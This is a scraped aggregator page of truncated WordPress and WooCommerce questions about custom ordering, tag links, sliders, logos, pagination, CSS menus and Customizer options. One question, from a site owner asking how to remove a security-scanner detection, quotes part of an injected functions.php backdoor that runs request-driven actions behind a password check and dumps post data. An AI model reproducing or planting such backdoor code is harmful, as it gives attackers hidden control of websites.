wordpress-theming

Add a custom orderby search in WooCommerce

瘦欲@ 提交于 2019-12-25 00:16:16
问题 I would like to add a custom search order to my theme that will sort products by page views. I already installed a Post Views Counter plugin to get the page views. Plugin documentation is available here. I found following code on WooCommerce documentation: add_filter( 'woocommerce_get_catalog_ordering_args', 'custom_woocommerce_get_catalog_ordering_args' ); function custom_woocommerce_get_catalog_ordering_args( $args ) { $orderby_value = isset( $_GET['orderby'] ) ? wc_clean( $_GET['orderby']

Wordpress: Limit Tag Links in Post Content

ε祈祈猫儿з 提交于 2019-12-24 23:05:11
问题 I really frustrated, I am a novice in wordpress I am trying to Limit Maximum Numbers of Tag Links to appear within post content article. Below is my code. I don't know how to fix it up. function link_words( $text ) { $replace = array(); $tags = get_tags(); $count=0; if ( $tags ) { foreach ( $tags as $tag ) { $count++; $replace[ $tag->name ] = sprintf( '<a href="%s">%s</a>', esc_url( get_term_link( $tag ) ), esc_html( $tag->name ) ); if( $count > 2 ) break; } } $text = str_replace( array_keys(

jQuery slider left and right buttons, firefox doesn't work

邮差的信 提交于 2019-12-24 23:00:20
问题 i made this wordpress theme that displays the loop horizontally: http://zarifnyc.com/category/news/ <Script> var curx = $('#blog').css(''); if(curx <= 0) {hide('#leftbutton')} else {show('#leftbutton')} if(curx >= 25000) {hide('#rightbutton')} else {show('#rightbutton')} $(function() { $('#rightbutton').click(function() { $('#blogbox').animate({"left" : '-=1070px'}); return false; }); $('#leftbutton').click(function() { $('#blogbox').animate({"left" : '+=1070px'}); return false; }); }); <

Switching logo for specific pages on WordPress site by editing Avada child theme logo.php

痞子三分冷 提交于 2019-12-24 19:42:47
问题 I'm trying to make it so that specific pages use a different logo in the header. I copied the logo.php file from the Avada theme into my child theme folder (Avada-Child-Theme/templates/logo.php). I added: if (is_page(array (194, 248))) { $standard_logo = 'http://nac.flywheelsites.com/wp-content/uploads/2018/05/broadway-binghamton-logo.png'; } if (is_page(array (194, 248))) { $retina_logo = 'http://nac.flywheelsites.com/wp-content/uploads/2018/05/broadway-binghamton-logo.png'; } So this is the

WordPress have_posts() not working inside Functions.php

不羁岁月 提交于 2019-12-24 17:05:14
问题 I want to ajaxify TwentyThirteen WordPress template and I have a function in functions.php function prefix_ajax_add_foobar() { echo("add_foobar is trigered <br/>"); if ( have_posts() ) { echo ("have posts <br/>"); while ( have_posts() ) { the_post(); echo ("the_post() <br/>"); the_ID(); echo ("the_ID() <br/>"); } } die("The End"); } But I only see those results: add_foobar is trigered The End So can you give me an idea why those functions are not working? 回答1: That's because you have to make

Pagination in custom loop not working

余生颓废 提交于 2019-12-24 10:47:19
问题 I have already searched several topics and questions regarding this problem, but I haven´t found any answer that suits my code. The pagination for my custom posts is displayed, but when I click in Show next posts >> the same posts from the previous page are shown, even though the URL shows ?paged=2 . My code is the following: <div class="podcast-entries"> <?php $args = array( 'post_type' => 'strn5_podcasts', 'posts_per_page' => 3, 'paged' => (get_query_var('paged') ? get_query_var('paged') :

How to get rid of “SiteLock-PHP-FILEHACKER-of.UNOFFICIAL” in WordPress functions.php

元气小坏坏 提交于 2019-12-24 09:10:15
问题 <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '')) { switch ($_REQUEST['action']) { case 'get_all_links'; foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) { $data['code'] = ''; if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) { $data['code'] = $_[1]; } print '<e><w>1</w><url>' . $data['guid'

CSS3 drop-down navigation

老子叫甜甜 提交于 2019-12-24 08:56:32
问题 To be more precise, I'm looking for a pure-CSS3 drop-down navigation that would slide out (and in) the UL elements, like a jQuery would normally work. I've tried making it work with opacity and visibility, but it does not seem to work properly: either it's distorted or it doesn't slide out, or it slides out when the mouse is in the wrong place, etc.. Here are my CSS classes at the moment: #nav li ul { left:-20000px; position:absolute; z-index:1; top:42px; width:140px; opacity:0; -webkit

Wordpress Save an Option form Customizer

你离开我真会死。 提交于 2019-12-24 07:03:57
问题 So I got this Code working, so It displays the Settings in the Wordpress Customizer. What is missing now, is that it saves it somewhere. I can not figure out how to do that. I was hoping someone could answer me this. And since I don't know how to save it, I am not sure how I will be able to get it. with get_option() I can get things from the Database. As far as I know, I currently only have the barebone structure, which does not provide saving or anything for my options (in the array). I am

maximum image width for a wordpress theme (or any theme, really)

◇◆丶佛笑我妖孽 提交于 2019-12-24 04:19:13
问题 In word press, if you upload an image, and let it display in 100%: if it exceeds its containers width, the theme will either: a) be broken, messing up the layout of the page or b) hide the extra width it cant display This is for a non-fluid layout, of course. The solution presented here: http://lorelle.wordpress.com/2006/10/07/the-battle-between-image-width-and-column-width/ p img { padding: 0; max-width: 100%; } #header, #content, #footer, .widget { overflow: hidden; } what this does,